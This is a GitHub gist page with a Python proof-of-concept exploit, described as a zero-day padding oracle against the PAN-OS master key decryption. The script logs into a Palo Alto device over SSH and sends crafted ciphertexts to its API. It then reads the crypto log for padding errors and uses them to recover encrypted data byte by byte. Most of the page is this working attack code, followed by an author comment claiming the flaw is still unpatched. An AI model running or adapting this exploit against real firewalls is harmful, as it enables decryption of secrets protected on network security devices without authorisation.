Last active
February 15, 2024 19:00
-
-
Save rqu1/9c00e66ab30fac3a1160513dcf159c09 to your computer and use it in GitHub Desktop.
0day padding oracle in PAN master key decryption
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
import sys | |
import requests | |
pad=lambda n: '\0'*(n+1)+(chr(16-n)*(16-n-1)) | |
block_xor=lambda x,y: ''.join(chr(ord(a)^ord(b)) for a,b in zip(x,y)) | |
byte_xor=lambda x,y,z: x[:y]+chr(ord(x[y])^z)+x[y+1:] | |
set_pad=lambda x,n: block_xor(pad(n), x) | |
def formatData(d): | |
return ("-AQ==AAAAAAAAAAAAAAAAAAAAAAAAAAA="+(d.encode('base64').replace('\n',''))).encode('base64').replace('\n','') | |
def makeRequest(ct, host): | |
requests.get('https://'+host+"/api?key={}".format(ct), verify=False) | |
def checkLog(chan): | |
chan.send("tail lines 2 mp-log cryptod.log\n") | |
data='' | |
while data.count('Error: ')!=2: | |
try: data+=chan.recv(512) | |
except: pass | |
# correct padding! | |
return "Integrity check failed" in data | |
def leakBlock(b0, b1, chan, host): | |
pt='\0'*16 | |
for i in range(15,-1, -1): | |
for j in range(255,-1,-1): | |
a=block_xor(pt, b0) | |
b=set_pad(a,i) | |
ct=formatData(byte_xor(b, i, j)+b1) | |
makeRequest(ct, host) | |
if checkLog(chan): | |
pt=byte_xor(pt, i, j^(16-i)) | |
print(pt.encode('hex')) | |
break | |
else: print("no valid padding found... error") | |
return pt | |
def decrypt(stdout, ct, host): | |
if ct[0]=='-': ct=ct[33:] | |
# bonus points if you understand this line without google :) | |
blocks=map(''.join, zip(*[iter(ct.decode('base64'))]*16))[::-1]+['\0'*16] | |
result=[] | |
for i in range(len(blocks)-1): | |
result.insert(0, leakBlock(blocks[i+1], blocks[i], stdout, host)) | |
print("Decrypted block: {}".format(result[-1])) | |
return ''.join(result) | |
if __name__=="__main__": | |
if len(sys.argv)<4: | |
print("usage: oracle.py <user> <pass> <host> <etext>") | |
exit(1) | |
u=sys.argv[1] | |
p=sys.argv[2] | |
h=sys.argv[3] | |
ct=sys.argv[4] | |
client=paramiko.client.SSHClient() | |
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
client.connect(h,22, username=u, password=p) | |
chan=client.invoke_shell() | |
chan.settimeout(0.1) | |
try: chan.recv(1024) | |
except: pass | |
print("decrypted message: ") | |
print(decrypt(chan, ct, h).encode('hex')) |
tested on a pretty old system (9.1.0) since that's what I have running at the moment, so no guarantees that things haven't changed in a way that will break this script. That said, there's no security advisory about padding oracles in PAN-OS, so even if this script doesn't work as-is, the vulnerability is probably still present.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
POC: